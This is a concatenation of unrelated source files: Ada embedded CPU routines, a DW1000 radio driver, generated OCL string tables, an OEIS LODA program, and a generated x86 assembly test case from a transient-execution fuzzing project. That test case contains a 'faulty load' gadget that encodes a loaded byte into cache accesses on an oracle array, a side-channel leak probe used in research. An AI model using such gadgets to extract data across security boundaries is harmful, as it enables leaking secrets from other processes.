Enable_Interrupts (Running_Thread.Active_Priority); end Sys_Tick_Handler; ------------------------ -- Initialize_Context -- ------------------------ procedure Initialize_Context (Buffer : not null access Context_Buffer; Program_Counter : System.Address; Argument : System.Address; Stack_Pointer : System.Address) is HW_Ctx_Bytes : constant System.Address := Hardware_Context'Size / 8; New_SP : constant System.Address := (Stack_Pointer - HW_Ctx_Bytes) and not 4; HW_Ctx : Hardware_Context with Address => New_SP; begin -- No need to initialize the context of the environment task if Program_Counter = Null_Address then return; end if; HW_Ctx := (R0 => Word (Argument), PC => Word (Program_Counter), PSR => 2**24, -- Set thumb bit others => 0); Buffer.all := (SP_process => New_SP, others => 0); end Initialize_Context; ---------------------------- -- Install_Error_Handlers -- ---------------------------- procedure Install_Error_Handlers is EH : constant Address := GNAT_Error_Handler'Address; begin Install_Trap_Handler (EH, Reset_Vector); Install_Trap_Handler (EH, NMI_Vector); Install_Trap_Handler (EH, Hard_Fault_Vector); Install_Trap_Handler (EH, Bus_Fault_Vector); Install_Trap_Handler (EH, Usage_Fault_Vector); Install_Trap_Handler (EH, Sys_Tick_Vector); Install_Trap_Handler (EH, Pend_SV_Vector); Install_Trap_Handler (EH, SV_Call_Vector); end Install_Error_Handlers; -------------------------- -- Install_Trap_Handler -- -------------------------- procedure Install_Trap_Handler (Service_Routine : System.Address; Vector : Vector_Id; Synchronous : Boolean := False) is pragma Unreferenced (Synchronous); begin Trap_Handlers (Vector) := To_Pointer (Service_Routine); end Install_Trap_Handler; ------------------------ -- Disable_Interrupts -- ------------------------ procedure Disable_Interrupts is begin Asm ("cpsid i", Volatile => True); end Disable_Interrupts; ----------------------- -- Enable_Interrupts -- ----------------------- procedure Enable_Interrupts (Level : System.Any_Priority) is begin -- Set the BASEPRI according to the specified level. PRIMASK is still -- set, so the change does not take effect until the next Asm. Set_Current_Priority (Level); -- The following enables interrupts and will cause any pending -- interrupts to take effect. The barriers and their placing are -- essential, otherwise a blocking operation might not cause an -- immediate context switch, violating mutual exclusion. Asm ("cpsie i" & NL & "dsb" & NL & "isb", Clobber => "memory", Volatile => True); end Enable_Interrupts; ------------------------------- -- Initialize_Floating_Point -- ------------------------------- procedure Initialize_Floating_Point renames Initialize_CPU; end System.BB.CPU_Primitives;
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2743.asm
ljhsiun2/medusa
9
3797
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xc5dd, %r9 nop add $4522, %r15 movw $0x6162, (%r9) nop cmp $11080, %rbp lea addresses_WC_ht+0x154c5, %r8 nop nop nop sub %rbp, %rbp mov $0x6162636465666768, %r14 movq %r14, %xmm4 and $0xffffffffffffffc0, %r8 movaps %xmm4, (%r8) nop cmp $27768, %rax lea addresses_normal_ht+0x119d, %r15 sub %r14, %r14 mov $0x6162636465666768, %rax movq %rax, (%r15) nop nop and %rax, %rax lea addresses_UC_ht+0x999d, %r8 nop cmp %rdx, %rdx movb $0x61, (%r8) nop xor %r8, %r8 lea addresses_D_ht+0x1e8bc, %rbp nop dec %r8 mov $0x6162636465666768, %r9 movq %r9, %xmm1 and $0xffffffffffffffc0, %rbp vmovntdq %ymm1, (%rbp) nop nop nop xor %r8, %r8 lea addresses_normal_ht+0x591d, %r8 nop nop nop dec %r14 vmovups (%r8), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdx nop nop nop nop dec %rbp lea addresses_UC_ht+0xf99d, %r14 nop cmp %r8, %r8 movl $0x61626364, (%r14) nop nop and $57133, %rax lea addresses_WC_ht+0xdc2b, %r9 xor %rbp, %rbp mov $0x6162636465666768, %r15 movq %r15, %xmm5 movups %xmm5, (%r9) add $60586, %rdx lea addresses_WT_ht+0x119d, %rsi lea addresses_UC_ht+0x1a3b0, %rdi clflush (%rdi) nop nop and $20936, %rax mov $16, %rcx rep movsl nop nop nop nop nop sub $25666, %r15 lea addresses_UC_ht+0x1d39d, %rax nop nop nop nop xor %rbp, %rbp movb (%rax), %r9b nop nop nop nop xor $12871, %r15 lea addresses_WC_ht+0x18e99, %rsi nop nop nop cmp $31581, %r9 movl $0x61626364, (%rsi) inc %r14 lea addresses_normal_ht+0x129c5, %rsi lea addresses_WT_ht+0x651d, %rdi and $13921, %rdx mov $120, %rcx rep movsq nop nop nop nop cmp $46683, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rdx push %rsi // Faulty Load lea addresses_WT+0x19d, %rdx sub $4598, %r13 movups (%rdx), %xmm6 vpextrq $1, %xmm6, %r9 lea oracles, %r13 and $0xff, %r9 shlq $12, %r9 mov (%r13,%r9,1), %r9 pop %rsi pop %rdx pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
oeis/066/A066843.asm
neoneye/loda-programs
11
176632
<reponame>neoneye/loda-programs ; A066843: a(n) = Product_{k=1..n} d(k); d(k) is the number of positive divisors of k. ; Submitted by <NAME>(s4) ; 1,2,4,12,24,96,192,768,2304,9216,18432,110592,221184,884736,3538944,17694720,35389440,212336640,424673280,2548039680,10192158720,40768634880,81537269760,652298158080,1956894474240,7827577896960,31310311587840,187861869527040,375723739054080,3005789912432640,6011579824865280,36069478949191680,144277915796766720,577111663187066880,2308446652748267520,20776019874734407680,41552039749468815360,166208158997875261440,664832635991501045760,5318661087932008366080,10637322175864016732160 mov $1,1 lpb $0 mov $2,$0 sub $0,1 seq $2,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. mul $1,$2 lpe mov $0,$1
src/dw1000-generic_rw_register_driver.adb
SALLYPEMDAS/DW1000
9
21640
<reponame>SALLYPEMDAS/DW1000 ------------------------------------------------------------------------------- -- Copyright (c) 2016 <NAME> -- -- Permission is hereby granted, free of charge, to any person obtaining a -- copy of this software and associated documentation files (the "Software"), -- to deal in the Software without restriction, including without limitation -- the rights to use, copy, modify, merge, publish, distribute, sublicense, -- and/or sell copies of the Software, and to permit persons to whom the -- Software is furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -- DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------- with DW1000.Generic_RO_Register_Driver; with DW1000.Generic_WO_Register_Driver; package body DW1000.Generic_RW_Register_Driver is ------------------- -- Read_Driver -- ------------------- -- Reuse the Read/Write procedures from the other drivers. package Read_Driver is new Generic_RO_Register_Driver (Register_Type, Register_ID, Sub_Register); package Write_Driver is new Generic_WO_Register_Driver (Register_Type, Register_ID, Sub_Register); ------------ -- Read -- ------------ procedure Read (Reg : out Register_Type) is begin Read_Driver.Read (Reg); end Read; ------------- -- Write -- ------------- procedure Write (Reg : in Register_Type) is begin Write_Driver.Write (Reg); end Write; end DW1000.Generic_RW_Register_Driver;
source/amf/ocl/amf-internals-tables-ocl_string_data_00.ads
svn2github/matreshka
24
7648
<reponame>svn2github/matreshka ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2010-2017, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with Matreshka.Internals.Strings; package AMF.Internals.Tables.OCL_String_Data_00 is -- "referredAssociationClass" MS_0000 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 31, Unused => 24, Length => 24, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0041#, 16#0073#, 16#0073#, 16#006F#, 16#0063#, 16#0069#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0043#, 16#006C#, 16#0061#, 16#0073#, 16#0073#, others => 16#0000#), others => <>); -- "BooleanLiteralExp" MS_0001 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#0042#, 16#006F#, 16#006F#, 16#006C#, 16#0065#, 16#0061#, 16#006E#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "OCL" MS_0002 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 3, Length => 3, Value => (16#004F#, 16#0043#, 16#004C#, others => 16#0000#), others => <>); -- "calledOperation" MS_0003 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0063#, 16#0061#, 16#006C#, 16#006C#, 16#0065#, 16#0064#, 16#004F#, 16#0070#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "resultOwner" MS_0004 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0072#, 16#0065#, 16#0073#, 16#0075#, 16#006C#, 16#0074#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "parentCall" MS_0005 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0070#, 16#0061#, 16#0072#, 16#0065#, 16#006E#, 16#0074#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, others => 16#0000#), others => <>); -- "LiteralExp" MS_0006 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "TypeExp" MS_0007 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0054#, 16#0079#, 16#0070#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "literalExp" MS_0008 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#006C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "exp1" MS_0009 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0031#, others => 16#0000#), others => <>); -- "InvalidType" MS_000A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0049#, 16#006E#, 16#0076#, 16#0061#, 16#006C#, 16#0069#, 16#0064#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "exp9" MS_000B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0039#, others => 16#0000#), others => <>); -- "VariableExp" MS_000C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "referringExp" MS_000D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 12, Length => 12, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0069#, 16#006E#, 16#0067#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "PropertyCallExp" MS_000E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0050#, 16#0072#, 16#006F#, 16#0070#, 16#0065#, 16#0072#, 16#0074#, 16#0079#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "representedParameter" MS_000F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 20, Length => 20, Value => (16#0072#, 16#0065#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0065#, 16#006E#, 16#0074#, 16#0065#, 16#0064#, 16#0050#, 16#0061#, 16#0072#, 16#0061#, 16#006D#, 16#0065#, 16#0074#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "realSymbol" MS_0010 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0072#, 16#0065#, 16#0061#, 16#006C#, 16#0053#, 16#0079#, 16#006D#, 16#0062#, 16#006F#, 16#006C#, others => 16#0000#), others => <>); -- "Variable" MS_0011 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "referredSignal" MS_0012 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0053#, 16#0069#, 16#0067#, 16#006E#, 16#0061#, 16#006C#, others => 16#0000#), others => <>); -- "argument" MS_0013 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0061#, 16#0072#, 16#0067#, 16#0075#, 16#006D#, 16#0065#, 16#006E#, 16#0074#, others => 16#0000#), others => <>); -- "thenOwner" MS_0014 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0074#, 16#0068#, 16#0065#, 16#006E#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "owningClassifier" MS_0015 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#006F#, 16#0077#, 16#006E#, 16#0069#, 16#006E#, 16#0067#, 16#0043#, 16#006C#, 16#0061#, 16#0073#, 16#0073#, 16#0069#, 16#0066#, 16#0069#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "item" MS_0016 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0069#, 16#0074#, 16#0065#, 16#006D#, others => 16#0000#), others => <>); -- "referredProperty" MS_0017 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0050#, 16#0072#, 16#006F#, 16#0070#, 16#0065#, 16#0072#, 16#0074#, 16#0079#, others => 16#0000#), others => <>); -- "exp11" MS_0018 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0065#, 16#0078#, 16#0070#, 16#0031#, 16#0031#, others => 16#0000#), others => <>); -- "TupleLiteralPart" MS_0019 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#0054#, 16#0075#, 16#0070#, 16#006C#, 16#0065#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0050#, 16#0061#, 16#0072#, 16#0074#, others => 16#0000#), others => <>); -- "CollectionRange" MS_001A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0052#, 16#0061#, 16#006E#, 16#0067#, 16#0065#, others => 16#0000#), others => <>); -- "integerSymbol" MS_001B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0069#, 16#006E#, 16#0074#, 16#0065#, 16#0067#, 16#0065#, 16#0072#, 16#0053#, 16#0079#, 16#006D#, 16#0062#, 16#006F#, 16#006C#, others => 16#0000#), others => <>); -- "referredOperation" MS_001C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#004F#, 16#0070#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "EnumLiteralExp" MS_001D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0045#, 16#006E#, 16#0075#, 16#006D#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "stringSymbol" MS_001E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 12, Length => 12, Value => (16#0073#, 16#0074#, 16#0072#, 16#0069#, 16#006E#, 16#0067#, 16#0053#, 16#0079#, 16#006D#, 16#0062#, 16#006F#, 16#006C#, others => 16#0000#), others => <>); -- "AnyType" MS_001F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0041#, 16#006E#, 16#0079#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "InvalidLiteralExp" MS_0020 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#0049#, 16#006E#, 16#0076#, 16#0061#, 16#006C#, 16#0069#, 16#0064#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "Bag" MS_0021 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 3, Length => 3, Value => (16#0042#, 16#0061#, 16#0067#, others => 16#0000#), others => <>); -- "bodyExpression" MS_0022 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0062#, 16#006F#, 16#0064#, 16#0079#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "ExpressionInOcl" MS_0023 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, 16#0049#, 16#006E#, 16#004F#, 16#0063#, 16#006C#, others => 16#0000#), others => <>); -- "CollectionKind" MS_0024 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#004B#, 16#0069#, 16#006E#, 16#0064#, others => 16#0000#), others => <>); -- "resultVariable" MS_0025 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0072#, 16#0065#, 16#0073#, 16#0075#, 16#006C#, 16#0074#, 16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "result" MS_0026 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 6, Length => 6, Value => (16#0072#, 16#0065#, 16#0073#, 16#0075#, 16#006C#, 16#0074#, others => 16#0000#), others => <>); -- "initExpression" MS_0027 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0069#, 16#006E#, 16#0069#, 16#0074#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "thenExpression" MS_0028 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0074#, 16#0068#, 16#0065#, 16#006E#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "NullLiteralExp" MS_0029 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#004E#, 16#0075#, 16#006C#, 16#006C#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "attribute" MS_002A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0061#, 16#0074#, 16#0074#, 16#0072#, 16#0069#, 16#0062#, 16#0075#, 16#0074#, 16#0065#, others => 16#0000#), others => <>); -- "varOwner" MS_002B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0076#, 16#0061#, 16#0072#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => 